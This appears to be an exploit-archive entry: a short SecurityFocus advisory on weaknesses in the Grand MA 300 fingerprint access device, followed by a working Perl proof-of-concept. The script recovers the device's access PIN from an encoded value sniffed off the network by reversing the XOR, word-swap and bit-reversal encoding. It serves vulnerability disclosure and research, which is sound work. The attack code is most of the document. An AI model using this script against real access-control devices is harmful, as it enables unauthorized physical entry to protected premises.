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54 lines
No EOL
1.4 KiB
Perl
Executable file
54 lines
No EOL
1.4 KiB
Perl
Executable file
source: https://www.securityfocus.com/bid/69390/info
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Grand MA 300 is prone to multiple security weaknesses.
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Attackers can exploit these issues to disclose the access pin by sniffing network traffic or perform brute-force attacks on pin to gain unauthorized access. This may aid in other attacks.
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Grand MA 300 running firmware version 6.60 is vulnerable.
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#!/usr/bin/perl
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#
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# This script calculates the original pin based on the pin
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# retrieved on the wire for the Grand MA 300 fingerprint access device
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#
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# look for a UDP packet starting with 0x4E 0x04, the last 4 bytes are the
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# encoded pin
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#
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# written by Eric Sesterhenn <eric.sesterhenn () lsexperts de>
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# http://www.lsexperts.de
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#
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use warnings;
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use strict;
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my $cid = 0; # connection id
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my $ret = 0x4B00A987; # pin on the wire
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# get gettickcount value (third byte)
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my $gc = ($ret >> 16) & 0xFF;
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# set third byte to magic value (so it becomes zero when we xor it later with the magic value)
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$ret = $ret | 0x005A0000;
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# xor all, but third byte with last byte of gettickcount
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$ret ^= $gc + ($gc << 8) + ($gc << 24);
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# switch the words
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$ret = (($ret & 0xFFFF) << 16) + ($ret >> 16);
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# xor with magic value
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$ret ^= 0x4F534B5A;
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# substract the connection id
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$ret -= $cid;
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my $fin = 0;
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# revert the bits
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for (my $i = 0; $i < 32; $i++) {
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$fin *= 2;
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if ($ret & 1) {
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$fin = $fin + 1;
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}
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$ret = $ret / 2;
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}
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printf("final: %X \n", $fin); |